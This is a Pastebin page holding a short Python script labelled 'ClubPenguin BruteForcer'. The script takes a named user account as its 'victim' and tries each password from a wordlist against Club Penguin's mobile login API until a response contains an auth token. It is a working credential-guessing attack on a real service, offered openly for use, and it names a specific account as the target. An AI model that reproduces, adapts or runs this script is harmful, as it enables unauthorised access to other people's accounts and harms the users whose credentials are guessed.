Advertisement
Protocol_

CP brute forcer

Dec 17th, 2013
431
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.35 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. """
  4. #  This program is free software; you can redistribute it and/or modify
  5. #  it under the terms of the GNU General Public License as published by
  6. #  the Free Software Foundation; either version 2 of the License, or
  7. #  (at your option) any later version.
  8. #  
  9. #  This program is distributed in the hope that it will be useful,
  10. #  but WITHOUT ANY WARRANTY; without even the implied warranty of
  11. #  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  12. #  GNU General Public License for more details.
  13. #  
  14. #  
  15. # ClubPenguin BruteForcer
  16. # Author :  Donny
  17. # Version : 1.0
  18. # E-mail : ilubmonsters@gmail.com
  19. """
  20.  
  21. import urllib
  22.  
  23. class bruteforce:
  24.    
  25.     def crack(self, victim, psswd):
  26.             return urllib.urlopen("https://ms.clubpenguin.com:8443/mobileas/api/json/account/login?appVersion=pl-1.0&user="+victim+"&pass="+psswd+"").read()
  27.     def __init__(self):
  28.         self.victim = "casanova578"#Name of the penguin
  29.         self.dic = "list.txt"#The file which contains the passwords
  30.         print "Trying to find %s\'s password" % (self.victim)
  31.         for password in open(self.dic):
  32.             print "Trying password %s" % (password)
  33.             if "authToken" in self.crack(self.victim, password.strip()):
  34.                 print "Success!\n"
  35.                 print "Password of %s is %s" % (self.victim, password.strip())
  36.                 exit()
  37.         print "No matching password found!"
  38.        
  39.        
  40. ObjPC = bruteforce()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement